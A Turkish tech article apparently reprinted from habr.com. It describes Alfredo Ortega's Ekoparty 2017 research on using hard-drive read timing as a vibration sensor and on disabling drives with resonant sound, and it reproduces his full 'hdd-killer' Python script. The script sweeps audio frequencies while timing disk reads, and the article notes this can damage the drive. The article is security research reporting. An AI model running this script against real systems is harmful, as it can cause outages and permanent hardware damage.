
Buenos Aires'teki Ekoparty 2017 bilgisayar güvenliği konferansında Arjantinli hacker Alfredo Ortega çok ilginç bir gelişme gösterdi: mikrofon kullanmadan tesislerin gizlice dinlenmesini sağlayan bir sistem. Ses !
HDD esas olarak yüksek yoğunluklu düşük frekanslı sesleri, ayak seslerini ve diğer titreşimleri alır. Bilim insanları her ne kadar insan konuşmasını henüz tanıyamıyor (örneğin bir jiroskop veya HDD'den kaydedilen düşük frekanslı titreşimlerle konuşma tanıma).
Ses, havanın veya başka bir ortamın titreşimidir. Kişi bunları, titreşimleri iç kulağa ileten kulak zarı aracılığıyla algılar. Mikrofon kabaca kulağa benzer şekilde tasarlanmıştır; burada da titreşimler, elektriksel bir uyarıyı harekete geçiren ince bir zar tarafından kaydedilir. Sabit sürücü elbette çevredeki havadaki dalgalanmalardan dolayı mikroskobik titreşimlere de maruz kalır. Bu, HDD'lerin teknik özelliklerinden bile bilinmektedir: üreticiler genellikle izin verilen maksimum titreşim seviyesini belirtir ve sabit sürücünün kendisi genellikle onu kauçuktan veya başka bir yalıtım malzemesinden yapılmış titreşime dayanıklı bir kaba yerleştirmeye çalışır. Buradan seslerin HDD kullanılarak kaydedilebileceği sonucuna varmak kolaydır. Geriye kalan tek şey nasıl olduğunu bulmak.
Alfredo Ortega, yan kanal saldırısının benzersiz bir versiyonunu, yani zamanlı saldırıyı önerdi. Bu saldırı, verilen giriş verilerine bağlı olarak cihaz üzerinde farklı zamanlarda farklı işlemlerin gerçekleştirildiği varsayımına dayanmaktadır. Bu durumda "giriş verileri", ortamın titreşimleriyle yani sesle ilişkilendirilen okuma kafasının ve HDD plakasının titreşimleridir. Böylece hesaplama süresinin ölçülmesi ve verilerin istatistiksel analizinin yapılmasıyla kafa/tabak titreşimleri ve dolayısıyla ortamın titreşimleri ölçülebilir. Verilerin okunmasındaki gecikme ne kadar uzun olursa, HDD titreşimleri o kadar güçlü olur ve dolayısıyla ses de o kadar yüksek olur.
Sabit disk titreşimi nasıl ölçülür? Çok basit: sadece sistem çağrısını çalıştırın read () — ve tamamlanması için gereken süreyi kaydedin. Modern işletim sistemleri, sistem çağrılarının zamanlamasını nanosaniyelik doğrulukla okumanıza olanak tanır.
Bir sektörden bilgi okuma hızı, HDD kasasının titreşimleriyle ilişkili olan kafa ve tablanın konumuna bağlıdır. Bu kadar.
İstatistiksel analiz basit bir Kscope yardımcı programı kullanılarak gerçekleştirilir. Dedikleri gibi, ustaca olan her şey basittir.

Kscope yardımcı programı (stat() sistem çağrısı)
Kscope, sistem çağrısı yürütme sürelerindeki küçük farklılıkları görselleştirmek için kullanılan küçük bir yardımcı programdır. Kaynak.
Ayrı bir depoda yardımcı programın sabit sürücüye zaman saldırısı için yapılandırılmış, yani sistem çağrısını analiz edecek şekilde yapılandırılmış bir sürümü var read ().
HDD kullanarak ses kaydının gösterilmesi, Kscope yardımcı programının çalıştırılması

Elbette konuşma bu şekilde anlaşılamaz ancak HDD titreşim sensörü olarak oldukça uygundur. Örneğin, sert ayakkabı giyen veya yalınayak bir kişinin bilgisayar bulunan bir odaya girip girmediğini kaydedebilirsiniz (muhtemelen saldırgan yumuşak spor ayakkabı giyiyorsa veya yerde kalın bir halı varsa, HDD titreşimleri kaydedemeyecektir - bu kontrol edilmeye değer). Bilgisayar, kırık cam veya diğer olayları güçlü ses yoğunluğuyla kaydedebilir. Yani, sabit sürücü bir tür yetkisiz izinsiz giriş tespit sistemi görevi görebilir.
HDD katili
Bu arada, benzer bir teknik sabit diskleri devre dışı bırakmak için de kullanılabilir. Ancak burada HDD'den titreşimleri yakalamıyoruz, bunun yerine HDD'ye iletilen titreşimler üretiyoruz. Bir hoparlörden HDD'nin frekansıyla rezonansa giren bir frekansta ses çalarsanız, sistem kısa süre sonra cihazı bir G/Ç hatası (çekirdek) ile kapatacaktır. Linux (Bu işlem, 120 saniye sonra HDD'yi tamamen kapatır.) Sabit sürücünün kendisi geri dönüşü olmayan şekilde hasar görebilir.

çekirdek Linux Edifier r19u USB hoparlöründen rezonans frekansında ses çalındıktan 120 saniye sonra sabit disk kapandı. Hoparlör, gücünün yaklaşık dörtte birinde (100 mW'tan az) çalıştırıldı ve titreşimleri yükseltmek için masaya doğru yönlendirilmiş şekilde HDD'den 20 cm uzaklığa yerleştirildi. HDD katilinin gösterimiyle
HDD'lere yönelik bu tür "saldırıların" bazen günlük yaşamda tamamen tesadüfen meydana gelmesi ilginçtir. Örneğin Eylül 2016'da ING Bank veri merkezi, yapılan yangın tatbikatının ardından faaliyetlerini 10 saat süreyle askıya almak zorunda kaldı. Yüksek basınç altında silindirlerden çıkan inert gazın yüksek sesi nedeniyle. Ses çok yüksekti (130 dB'den fazla), ancak sabit sürücülere bağıramazsınız bile - bu, HDD'ye erişimdeki gecikmeyi artırır.
Bir veri merkezindeki sabit disklere bağıran insanın gösterimi. Gecikme ölçümü

Rezonans sesini oluşturmak için Alfredo Ortega, adında bir Python betiği yazdı. ().
Oldukça küçük olduğundan tamamını burada yayınlayabilirsiniz.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Kaynak: habr.com
